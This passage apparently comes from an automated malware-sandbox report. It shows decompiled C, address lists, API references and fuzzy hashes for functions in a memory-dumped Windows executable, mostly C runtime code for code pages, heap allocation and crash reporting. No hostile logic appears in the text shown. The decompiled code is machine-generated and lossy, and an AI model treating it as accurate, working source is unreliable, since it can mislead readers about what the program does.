                          								_t66 = _t86[1];
                          								__eflags = _t66;
                          								if(_t66 == 0) {
                          									break;
                          								}
                          								_t93 =  *_t86 & 0x000000ff;
                          								_t67 = _t66 & 0x000000ff;
                          								while(1) {
                          									__eflags = _t93 - _t67;
                          									if(_t93 > _t67) {
                          										break;
                          									}
                          									__eflags = _t93 - 0x100;
                          									if(_t93 < 0x100) {
                          										_t34 = _t95 + 0x173488; // 0x8040201
                          										 *(_t99 + _t93 + 0x19) =  *(_t99 + _t93 + 0x19) |  *_t34;
                          										_t93 = _t93 + 1;
                          										__eflags = _t93;
                          										_t67 = _t86[1] & 0x000000ff;
                          										continue;
                          									}
                          									break;
                          								}
                          								_t86 =  &(_t86[2]);
                          								__eflags =  *_t86;
                          								if( *_t86 != 0) {
                          									continue;
                          								}
                          								break;
                          							}
                          							_t61 = _v32;
                          						}
                          						_t95 = _t95 + 1;
                          						_t61 = _t61 + 8;
                          						_v32 = _t61;
                          						__eflags = _t95 - 4;
                          					} while (_t95 < 4);
                          					 *(_t99 + 4) = _t80;
                          					 *((intOrPtr*)(_t99 + 8)) = 1;
                          					 *((intOrPtr*)(_t99 + 0x21c)) = E0016564B(_t80);
                          					_t46 = _t99 + 0xc; // 0x168940
                          					_t87 = _t46;
                          					_t92 = _v36 + 0x173494;
                          					_t96 = 6;
                          					do {
                          						_t64 =  *_t92;
                          						_t92 = _t92 + 2;
                          						 *_t87 = _t64;
                          						_t49 = _t87 + 2; // 0x8babab84
                          						_t87 = _t49;
                          						_t96 = _t96 - 1;
                          						__eflags = _t96;
                          					} while (_t96 != 0);
                          					goto L9;
                          				}
                          				L38:
                          				return E00161BE7(_v8 ^ _t100);
                          			}





























                          0x00165afc
                          0x00165b03
                          0x00165b08
                          0x00165b14
                          0x00165b19
                          0x00165ccf
                          0x00165cd0
                          0x00000000
                          0x00165b1f
                          0x00165b1f
                          0x00165b21
                          0x00165b23
                          0x00165b25
                          0x00165b28
                          0x00165b34
                          0x00165b35
                          0x00165b38
                          0x00165b40
                          0x00000000
                          0x00165b42
                          0x00165b48
                          0x00165c1f
                          0x00165b60
                          0x00165b67
                          0x00165b94
                          0x00165b9a
                          0x00165b9c
                          0x00165c13
                          0x00165c19
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00165b9e
                          0x00165ba3
                          0x00165ba8
                          0x00165bb0
                          0x00165bb3
                          0x00165bb7
                          0x00165bbd
                          0x00165bbf
                          0x00165bc3
                          0x00165bc6
                          0x00165bc8
                          0x00165bc8
                          0x00165bcb
                          0x00165bcd
                          0x00000000
                          0x00000000
                          0x00165bcf
                          0x00165bd2
                          0x00165bdd
                          0x00165bdd
                          0x00165bdf
                          0x00000000
                          0x00000000
                          0x00165bd7
                          0x00165bdc
                          0x00165bdc
                          0x00165bdc
                          0x00165be1
                          0x00165be4
                          0x00165be7
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00165be7
                          0x00165bc8
                          0x00165be9
                          0x00165be9
                          0x00165be9
                          0x00165bec
                          0x00165bf1
                          0x00165bf1
                          0x00165bf4
                          0x00165bf5
                          0x00165bf5
                          0x00165bf5
                          0x00165bfa
                          0x00165c04
                          0x00165c0d
                          0x00165c0d
                          0x00000000
                          0x00165bbd
                          0x00165b69
                          0x00165b69
                          0x00165b6c
                          0x00165b72
                          0x00165b75
                          0x00165b79
                          0x00165b79
                          0x00165b7e
                          0x00165b7e
                          0x00165b81
                          0x00165b82
                          0x00165b83
                          0x00165b84
                          0x00165b85
                          0x00165cd5
                          0x00165cd7
                          0x00165b67
                          0x00165b48
                          0x00000000
                          0x00165b40
                          0x00165c2c
                          0x00165c31
                          0x00165c39
                          0x00165c39
                          0x00165c3d
                          0x00165c40
                          0x00165c46
                          0x00165c49
                          0x00165c49
                          0x00165c4c
                          0x00165c4e
                          0x00165c50
                          0x00165c50
                          0x00165c53
                          0x00165c55
                          0x00000000
                          0x00000000
                          0x00165c57
                          0x00165c5a
                          0x00165c76
                          0x00165c76
                          0x00165c78
                          0x00000000
                          0x00000000
                          0x00165c5f
                          0x00165c65
                          0x00165c67
                          0x00165c6d
                          0x00165c71
                          0x00165c71
                          0x00165c72
                          0x00000000
                          0x00165c72
                          0x00000000
                          0x00165c65
                          0x00165c7a
                          0x00165c7d
                          0x00165c80
                          0x00000000
                          0x00000000
                          0x00000000
                          0x00165c80
                          0x00165c82
                          0x00165c82
                          0x00165c85
                          0x00165c86
                          0x00165c89
                          0x00165c8c
                          0x00165c8c
                          0x00165c92
                          0x00165c95
                          0x00165ca4
                          0x00165cad
                          0x00165cad
                          0x00165cb2
                          0x00165cb8
                          0x00165cb9
                          0x00165cb9
                          0x00165cbc
                          0x00165cbf
                          0x00165cc2
                          0x00165cc2
                          0x00165cc5
                          0x00165cc5
                          0x00165cc5
                          0x00000000
                          0x00165cca
                          0x00165cd8
                          0x00165ce6

                          APIs
                            • Part of subcall function 00165689: GetOEMCP.KERNEL32(00000000,001658FB,00168934,00000000,?,?,00000000,?,00168934), ref: 001656B4
                          • IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,00165942,?,00000000,00168934,558B0000,?,?,?,?,?), ref: 00165B52
                          • GetCPInfo.KERNEL32(00000000,00165942,?,?,00165942,?,00000000,00168934,558B0000,?,?,?,?,?,00000000), ref: 00165B94
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: CodeInfoPageValid
                          • String ID:
                          • API String ID: 546120528-0
                          • Opcode ID: 104fa6212d9a4f2c9092537d543602c4d459f15b31d598d1ee0a7a0c7b66aaad
                          • Instruction ID: 08ba68d74fe73b990001133a8c91bfc5efaebd3375d5e7da744f1a04a90c8efc
                          • Opcode Fuzzy Hash: 104fa6212d9a4f2c9092537d543602c4d459f15b31d598d1ee0a7a0c7b66aaad
                          • Instruction Fuzzy Hash: 6C516670A00B059EDB24CF75CC416BABBFBEF50304F24856EE0968B251D7749A56DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 84%
                          			E001658E0(void* __edx, void* __eflags, intOrPtr _a4, char _a8, char _a12, void* _a16) {
                          				void* _v5;
                          				char _v12;
                          				char _v16;
                          				char* _v20;
                          				char _v24;
                          				void* __ebx;
                          				void* __edi;
                          				void* __esi;
                          				void* __ebp;
                          				char _t39;
                          				signed int _t44;
                          				char _t48;
                          				char _t51;
                          				char _t58;
                          				signed int _t63;
                          				signed int _t64;
                          				void* _t75;
                          				void* _t80;
                          				signed int _t85;
                          
                          				_t78 = __edx;
                          				_push(_a16);
                          				_push(_a12);
                          				E001659F9(__edx, __eflags);
                          				_t39 = E00165689(__eflags, _a4);
                          				_v16 = _t39;
                          				if(_t39 !=  *((intOrPtr*)( *(_a12 + 0x48) + 4))) {
                          					_push(_t63);
                          					_t80 = E0016672E(0x220);
                          					_t64 = _t63 | 0xffffffff;
                          					__eflags = _t80;
                          					if(__eflags == 0) {
                          						L5:
                          						_t85 = _t64;
                          					} else {
                          						_t80 = memcpy(_t80,  *(_a12 + 0x48), 0x88 << 2);
                          						 *_t80 =  *_t80 & 0x00000000; // executed
                          						_t44 = E00165AF4(_t64, _t78, _t80,  *(_a12 + 0x48), __eflags, _v16, _t80); // executed
                          						_t85 = _t44;
                          						__eflags = _t85 - _t64;
                          						if(__eflags != 0) {
                          							__eflags = _a8;
                          							if(_a8 == 0) {
                          								E00163EDD();
                          							}
                          							asm("lock xadd [eax], ebx");
                          							__eflags = _t64 == 1;
                          							if(_t64 == 1) {
                          								_t58 = _a12;
                          								__eflags =  *((intOrPtr*)(_t58 + 0x48)) - 0x173060;
                          								if( *((intOrPtr*)(_t58 + 0x48)) != 0x173060) {
                          									E00165025( *((intOrPtr*)(_t58 + 0x48)));
                          								}
                          							}
                          							 *_t80 = 1;
                          							_t75 = _t80;
                          							_t80 = 0;
                          							 *(_a12 + 0x48) = _t75;
                          							_t48 = _a12;
                          							__eflags =  *(_t48 + 0x350) & 0x00000002;
                          							if(( *(_t48 + 0x350) & 0x00000002) == 0) {
                          								__eflags =  *0x1736a0 & 0x00000001;
                          								if(__eflags == 0) {
                          									_v24 =  &_a12;
                          									_v20 =  &_a16;
                          									_t51 = 5;
                          									_v16 = _t51;
                          									_v12 = _t51;
                          									_push( &_v16);
                          									_push( &_v24);
                          									_push( &_v12);
                          									E0016557B(_t78, __eflags);
                          									__eflags = _a8;
                          									if(_a8 != 0) {
                          										 *0x17363c =  *_a16;
                          									}
                          								}
                          							}
                          						} else {
                          							 *((intOrPtr*)(E00164FB5(__eflags))) = 0x16;
                          							goto L5;
                          						}
                          					}
                          					E00165025(_t80);
                          					return _t85;
                          				} else {
                          					return 0;
                          				}
                          			}






















                          0x001658e0
                          0x001658e8
                          0x001658eb
                          0x001658ee
                          0x001658f6
                          0x00165901
                          0x0016590a
                          0x00165910
                          0x0016591d
                          0x0016591f
                          0x00165923
                          0x00165925
                          0x00165955
                          0x00165955
                          0x00165927
                          0x00165934
                          0x0016593a
                          0x0016593d
                          0x00165942
                          0x00165946
                          0x00165948
                          0x00165965
                          0x00165969
                          0x0016596b
                          0x0016596b
                          0x00165976
                          0x0016597a
                          0x0016597b
                          0x0016597d
                          0x00165980
                          0x00165987
                          0x0016598c
                          0x00165991
                          0x00165987
                          0x00165992
                          0x00165998
                          0x0016599d
                          0x0016599f
                          0x001659a2
                          0x001659a5
                          0x001659ac
                          0x001659ae
                          0x001659b5
                          0x001659ba
                          0x001659c5
                          0x001659c8
                          0x001659c9
                          0x001659cc
                          0x001659d2
                          0x001659d6
                          0x001659da
                          0x001659db
                          0x001659e0
                          0x001659e4
                          0x001659ef
                          0x001659ef
                          0x001659e4
                          0x001659b5
                          0x0016594a
                          0x0016594f
                          0x00000000
                          0x0016594f
                          0x00165948
                          0x00165958
                          0x00165964
                          0x0016590c
                          0x0016590f
                          0x0016590f

                          APIs
                            • Part of subcall function 00165689: GetOEMCP.KERNEL32(00000000,001658FB,00168934,00000000,?,?,00000000,?,00168934), ref: 001656B4
                          • _free.LIBCMT ref: 00165958
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: _free
                          • String ID:
                          • API String ID: 269201875-0
                          • Opcode ID: cb7de62a73961c7b9e546fba66f1051a0712a6ff5b4a0582ef0c28c2c401653e
                          • Instruction ID: 67ef96390f6093999b7727133247dff36728f9d06016f84ac338a396f63de931
                          • Opcode Fuzzy Hash: cb7de62a73961c7b9e546fba66f1051a0712a6ff5b4a0582ef0c28c2c401653e
                          • Instruction Fuzzy Hash: 6031B072900649AFCF11DF68CC44A9A7BF6EF40328F15415AF9149B291EB31DE60CF50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 50%
                          			E00166F8F(intOrPtr _a4, int _a8, short* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36) {
                          				void* _t20;
                          				intOrPtr* _t22;
                          
                          				_t22 = E00166C87();
                          				if(_t22 == 0) {
                          					return LCMapStringW(E00166FEC(_a4, 0), _a8, _a12, _a16, _a20, _a24);
                          				}
                          				 *0x16d120(_a4, _a8, _a12, _a16, _a20, _a24, _a28, _a32, _a36); // executed
                          				_t20 =  *_t22(); // executed
                          				return _t20;
                          			}





                          0x00166f9a
                          0x00166f9e
                          0x00000000
                          0x00166fe1
                          0x00166fbd
                          0x00166fc3
                          0x00000000

                          APIs
                          • LCMapStringEx.KERNELBASE(?,001684FC,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 00166FC3
                          • LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,001684FC,?,?,00000000,?,00000000), ref: 00166FE1
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: String
                          • String ID:
                          • API String ID: 2568140703-0
                          • Opcode ID: a3d661869a2b6557fd87b2ff277f796f2fa245bad423cb47436e60e46fcae8b1
                          • Instruction ID: ce151ed9ae66b72daef36c3a232fc35b18513aa9a1144f1f00f9ad84a4752495
                          • Opcode Fuzzy Hash: a3d661869a2b6557fd87b2ff277f796f2fa245bad423cb47436e60e46fcae8b1
                          • Instruction Fuzzy Hash: 88F0767250011ABBCF126F91EC15DEE3F26EF587A0F068150FA2865020CB72D8B2EB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 85%
                          			E00166D82(signed int _a4, CHAR* _a8, intOrPtr _a12, intOrPtr _a16) {
                          				struct HINSTANCE__* _t11;
                          				_Unknown_base(*)()* _t14;
                          				signed int* _t20;
                          				signed int _t22;
                          				signed int _t28;
                          				signed int _t29;
                          				signed int _t30;
                          				signed int _t31;
                          				_Unknown_base(*)()* _t36;
                          
                          				_t20 = 0x1742d0 + _a4 * 4;
                          				_t28 =  *0x173018; // 0x219ee8ef
                          				_t31 = _t30 | 0xffffffff;
                          				_t29 = _t28 ^  *_t20;
                          				_t22 = _t28 & 0x0000001f;
                          				asm("ror edx, cl");
                          				if(_t29 != _t31) {
                          					if(_t29 == 0) {
                          						_t11 = E00166CBB(_t22, _a12, _a16); // executed
                          						if(_t11 == 0) {
                          							L7:
                          							_push(0x20);
                          							asm("ror edi, cl");
                          							 *_t20 = _t31 ^  *0x173018;
                          							_t14 = 0;
                          							L8:
                          							return _t14;
                          						}
                          						_t36 = GetProcAddress(_t11, _a8);
                          						if(_t36 == 0) {
                          							goto L7;
                          						}
                          						 *_t20 = E001634D1(_t36);
                          						_t14 = _t36;
                          						goto L8;
                          					}
                          					return _t29;
                          				}
                          				return 0;
                          			}












                          0x00166d8c
                          0x00166d96
                          0x00166d9c
                          0x00166da1
                          0x00166da3
                          0x00166da6
                          0x00166daa
                          0x00166db2
                          0x00166dbf
                          0x00166dc8
                          0x00166de7
                          0x00166dec
                          0x00166df4
                          0x00166dfc
                          0x00166dfe
                          0x00166e00
                          0x00000000
                          0x00166e00
                          0x00166dd4
                          0x00166dd8
                          0x00000000
                          0x00000000
                          0x00166de1
                          0x00166de3
                          0x00000000
                          0x00166de3
                          0x00000000
                          0x00166db4
                          0x00000000

                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID:
                          • String ID:
                          • API String ID:
                          • Opcode ID: e6d4f6cc554c2fc5cd4b01518d92ef74487a21d37012aa2da456ad828ef80159
                          • Instruction ID: 99050f9f48e374e4bf154e91ce1addaf5603b9f038219be310196447bc4a22b8
                          • Opcode Fuzzy Hash: e6d4f6cc554c2fc5cd4b01518d92ef74487a21d37012aa2da456ad828ef80159
                          • Instruction Fuzzy Hash: A9012437710211AF9F26CEA9EC4099A33A6EB843207254120F918CB694DB31D9A1E7C1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 95%
                          			E00166002(void* __edi, void* __eflags) {
                          				intOrPtr _v12;
                          				char _t17;
                          				void* _t18;
                          				intOrPtr* _t32;
                          				char _t35;
                          				void* _t37;
                          
                          				_push(_t27);
                          				_t17 = E00164FC8(0x40, 0x38); // executed
                          				_t35 = _t17;
                          				_v12 = _t35;
                          				if(_t35 != 0) {
                          					_t2 = _t35 + 0xe00; // 0xe00
                          					_t18 = _t2;
                          					__eflags = _t35 - _t18;
                          					if(__eflags != 0) {
                          						_t3 = _t35 + 0x20; // 0x20
                          						_t32 = _t3;
                          						_t37 = _t18;
                          						do {
                          							_t4 = _t32 - 0x20; // 0x0
                          							E00166F44(__eflags, _t4, 0xfa0, 0);
                          							 *(_t32 - 8) =  *(_t32 - 8) | 0xffffffff;
                          							 *_t32 = 0;
                          							_t32 = _t32 + 0x38;
                          							 *((intOrPtr*)(_t32 - 0x34)) = 0;
                          							 *((intOrPtr*)(_t32 - 0x30)) = 0xa0a0000;
                          							 *((char*)(_t32 - 0x2c)) = 0xa;
                          							 *(_t32 - 0x2b) =  *(_t32 - 0x2b) & 0x000000f8;
                          							 *((intOrPtr*)(_t32 - 0x2a)) = 0;
                          							 *((char*)(_t32 - 0x26)) = 0;
                          							__eflags = _t32 - 0x20 - _t37;
                          						} while (__eflags != 0);
                          						_t35 = _v12;
                          					}
                          				} else {
                          					_t35 = 0;
                          				}
                          				E00165025(0);
                          				return _t35;
                          			}









                          0x00166008
                          0x0016600f
                          0x00166014
                          0x00166018
                          0x0016601f
                          0x00166025
                          0x00166025
                          0x0016602b
                          0x0016602d
                          0x00166030
                          0x00166030
                          0x00166033
                          0x00166035
                          0x0016603b
                          0x0016603f
                          0x00166044
                          0x00166048
                          0x0016604a
                          0x0016604d
                          0x00166053
                          0x0016605a
                          0x0016605e
                          0x00166062
                          0x00166065
                          0x00166068
                          0x00166068
                          0x0016606c
                          0x0016606f
                          0x00166021
                          0x00166021
                          0x00166021
                          0x00166071
                          0x0016607c

                          APIs
                            • Part of subcall function 00164FC8: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00164B62,00000001,00000364,00000002,000000FF,?,00164FBA,00167F2A,?,00167761,?,00000000), ref: 00165009
                          • _free.LIBCMT ref: 00166071
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: AllocateHeap_free
                          • String ID:
                          • API String ID: 614378929-0
                          • Opcode ID: fcdf8550dac15be54dc2e9f33f5f39677cec601ce908cd9878c4b0fcde327618
                          • Instruction ID: 3cbce3ee0aaef7fa70bd7c6b339052b9d68c6861abc291e4258032b3848a6402
                          • Opcode Fuzzy Hash: fcdf8550dac15be54dc2e9f33f5f39677cec601ce908cd9878c4b0fcde327618
                          • Instruction Fuzzy Hash: 9601F5B26043166BC3318F68DC85A9AFBA8EB153B0F150769F545B76C0E770AD21CBE4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E00164FC8(signed int _a4, signed int _a8) {
                          				void* _t8;
                          				signed int _t13;
                          				signed int _t18;
                          				long _t19;
                          
                          				_t18 = _a4;
                          				if(_t18 == 0) {
                          					L2:
                          					_t19 = _t18 * _a8;
                          					if(_t19 == 0) {
                          						_t19 = _t19 + 1;
                          					}
                          					while(1) {
                          						_t8 = RtlAllocateHeap( *0x174360, 8, _t19); // executed
                          						if(_t8 != 0) {
                          							break;
                          						}
                          						__eflags = E00163F71();
                          						if(__eflags == 0) {
                          							L8:
                          							 *((intOrPtr*)(E00164FB5(__eflags))) = 0xc;
                          							__eflags = 0;
                          							return 0;
                          						}
                          						__eflags = E001671AE(__eflags, _t19);
                          						if(__eflags == 0) {
                          							goto L8;
                          						}
                          					}
                          					return _t8;
                          				}
                          				_t13 = 0xffffffe0;
                          				if(_t13 / _t18 < _a8) {
                          					goto L8;
                          				}
                          				goto L2;
                          			}







                          0x00164fce
                          0x00164fd3
                          0x00164fe1
                          0x00164fe1
                          0x00164fe7
                          0x00164fe9
                          0x00164fe9
                          0x00165000
                          0x00165009
                          0x00165011
                          0x00000000
                          0x00000000
                          0x00164ff1
                          0x00164ff3
                          0x00165015
                          0x0016501a
                          0x00165020
                          0x00000000
                          0x00165020
                          0x00164ffc
                          0x00164ffe
                          0x00000000
                          0x00000000
                          0x00164ffe
                          0x00000000
                          0x00165000
                          0x00164fd9
                          0x00164fdf
                          0x00000000
                          0x00000000
                          0x00000000

                          APIs
                          • RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00164B62,00000001,00000364,00000002,000000FF,?,00164FBA,00167F2A,?,00167761,?,00000000), ref: 00165009
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: e2cbee555d4a5068290b022ec54a459304ded299f43441f5b2d7e67f5480a2a3
                          • Instruction ID: 335112e61af657485f98bef48fb603686e7eae5ca96a7db74998a3e5718cce3c
                          • Opcode Fuzzy Hash: e2cbee555d4a5068290b022ec54a459304ded299f43441f5b2d7e67f5480a2a3
                          • Instruction Fuzzy Hash: B1F02E3561892477DB315F669C05B6A375AAF51771F158051FC08DB180CB30DC3096E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
                          			E0016672E(long _a4) {
                          				void* _t4;
                          				long _t8;
                          
                          				_t8 = _a4;
                          				if(_t8 > 0xffffffe0) {
                          					L7:
                          					 *((intOrPtr*)(E00164FB5(__eflags))) = 0xc;
                          					__eflags = 0;
                          					return 0;
                          				}
                          				if(_t8 == 0) {
                          					_t8 = _t8 + 1;
                          				}
                          				while(1) {
                          					_t4 = RtlAllocateHeap( *0x174360, 0, _t8); // executed
                          					if(_t4 != 0) {
                          						break;
                          					}
                          					__eflags = E00163F71();
                          					if(__eflags == 0) {
                          						goto L7;
                          					}
                          					__eflags = E001671AE(__eflags, _t8);
                          					if(__eflags == 0) {
                          						goto L7;
                          					}
                          				}
                          				return _t4;
                          			}





                          0x00166734
                          0x0016673a
                          0x0016676c
                          0x00166771
                          0x00166777
                          0x00000000
                          0x00166777
                          0x0016673e
                          0x00166740
                          0x00166740
                          0x00166757
                          0x00166760
                          0x00166768
                          0x00000000
                          0x00000000
                          0x00166748
                          0x0016674a
                          0x00000000
                          0x00000000
                          0x00166753
                          0x00166755
                          0x00000000
                          0x00000000
                          0x00166755
                          0x00000000

                          APIs
                          • RtlAllocateHeap.NTDLL(00000000,558B0000,558B0000,?,0016591D,00000220,00168934,558B0000,?,?,?,?,?,00000000,?,00168934), ref: 00166760
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: AllocateHeap
                          • String ID:
                          • API String ID: 1279760036-0
                          • Opcode ID: 77509c4f87e22e45dc179461a2fdf4b1e7b9b536e12148a8430901d26fb5d6e8
                          • Instruction ID: b24c6631702930057e48b8a5292152bdb3592555660e002d7b3b9efa45847290
                          • Opcode Fuzzy Hash: 77509c4f87e22e45dc179461a2fdf4b1e7b9b536e12148a8430901d26fb5d6e8
                          • Instruction Fuzzy Hash: 5DE0683120523167EF213B26AD01B6B3AA8EF523B8F160060FC09D71C1CF25DC3082E1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Non-executed Functions

                          C-Code - Quality: 76%
                          			E00164C12(intOrPtr __ebx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                          				char _v0;
                          				signed int _v8;
                          				intOrPtr _v524;
                          				intOrPtr _v528;
                          				void* _v532;
                          				intOrPtr _v536;
                          				char _v540;
                          				intOrPtr _v544;
                          				intOrPtr _v548;
                          				intOrPtr _v552;
                          				intOrPtr _v556;
                          				intOrPtr _v560;
                          				intOrPtr _v564;
                          				intOrPtr _v568;
                          				intOrPtr _v572;
                          				intOrPtr _v576;
                          				intOrPtr _v580;
                          				intOrPtr _v584;
                          				char _v724;
                          				intOrPtr _v792;
                          				intOrPtr _v800;
                          				char _v804;
                          				struct _EXCEPTION_POINTERS _v812;
                          				signed int _t40;
                          				char* _t47;
                          				char* _t49;
                          				intOrPtr _t61;
                          				intOrPtr _t62;
                          				intOrPtr _t66;
                          				intOrPtr _t67;
                          				int _t68;
                          				intOrPtr _t69;
                          				signed int _t70;
                          
                          				_t69 = __esi;
                          				_t67 = __edi;
                          				_t66 = __edx;
                          				_t61 = __ebx;
                          				_t40 =  *0x173018; // 0x219ee8ef
                          				_t41 = _t40 ^ _t70;
                          				_v8 = _t40 ^ _t70;
                          				if(_a4 != 0xffffffff) {
                          					_push(_a4);
                          					E00161956(_t41);
                          					_pop(_t62);
                          				}
                          				E00162010(_t67,  &_v804, 0, 0x50);
                          				E00162010(_t67,  &_v724, 0, 0x2cc);
                          				_v812.ExceptionRecord =  &_v804;
                          				_t47 =  &_v724;
                          				_v812.ContextRecord = _t47;
                          				_v548 = _t47;
                          				_v552 = _t62;
                          				_v556 = _t66;
                          				_v560 = _t61;
                          				_v564 = _t69;
                          				_v568 = _t67;
                          				_v524 = ss;
                          				_v536 = cs;
                          				_v572 = ds;
                          				_v576 = es;
                          				_v580 = fs;
                          				_v584 = gs;
                          				asm("pushfd");
                          				_pop( *_t22);
                          				_v540 = _v0;
                          				_t49 =  &_v0;
                          				_v528 = _t49;
                          				_v724 = 0x10001;
                          				_v544 =  *((intOrPtr*)(_t49 - 4));
                          				_v804 = _a8;
                          				_v800 = _a12;
                          				_v792 = _v0;
                          				_t68 = IsDebuggerPresent();
                          				SetUnhandledExceptionFilter(0);
                          				if(UnhandledExceptionFilter( &_v812) == 0 && _t68 == 0 && _a4 != 0xffffffff) {
                          					_push(_a4);
                          					E00161956(_t57);
                          				}
                          				return E00161BE7(_v8 ^ _t70);
                          			}




































                          0x00164c12
                          0x00164c12
                          0x00164c12
                          0x00164c12
                          0x00164c1d
                          0x00164c22
                          0x00164c24
                          0x00164c2c
                          0x00164c2e
                          0x00164c31
                          0x00164c36
                          0x00164c36
                          0x00164c42
                          0x00164c55
                          0x00164c63
                          0x00164c69
                          0x00164c6f
                          0x00164c75
                          0x00164c7b
                          0x00164c81
                          0x00164c87
                          0x00164c8d
                          0x00164c93
                          0x00164c99
                          0x00164ca0
                          0x00164ca7
                          0x00164cae
                          0x00164cb5
                          0x00164cbc
                          0x00164cc3
                          0x00164cc4
                          0x00164ccd
                          0x00164cd3
                          0x00164cd6
                          0x00164cdc
                          0x00164ce9
                          0x00164cf2
                          0x00164cfb
                          0x00164d04
                          0x00164d12
                          0x00164d14
                          0x00164d29
                          0x00164d35
                          0x00164d38
                          0x00164d3d
                          0x00164d4a

                          APIs
                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00164D0A
                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00164D14
                          • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00164D21
                          Memory Dump Source
                          • Source File: 00000000.00000002.649489196.0000000000161000.00000020.00020000.sdmp, Offset: 00160000, based on PE: true
                          • Associated: 00000000.00000002.649484039.0000000000160000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649519030.000000000016D000.00000002.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649533463.0000000000173000.00000004.00020000.sdmp Download File
                          • Associated: 00000000.00000002.649539377.0000000000175000.00000002.00020000.sdmp Download File
                          Similarity
                          • API ID: ExceptionFilterUnhandled$DebuggerPresent
                          • String ID:
                          • API String ID: 3906539128-0
                          • Opcode ID: 5dc1ddcff154de8c9cb55dea9e6cde492473b76942b34140147f4255f5b056c6
                          • Instruction ID: ab52894e2bcf7af4ff3c48592f1d4a8eba378cd721bebbfe7ec34780e8b84a40
                          • Opcode Fuzzy Hash: 5dc1ddcff154de8c9cb55dea9e6cde492473b76942b34140147f4255f5b056c6
                          • Instruction Fuzzy Hash: 7531C174D01228ABCB21DF68DD89B8CBBB8AF18310F5045EAE41CA6291E7749F958F44
                          Uniqueness

                          Uniqueness Score: -1.00%

                          C-Code - Quality: 100%
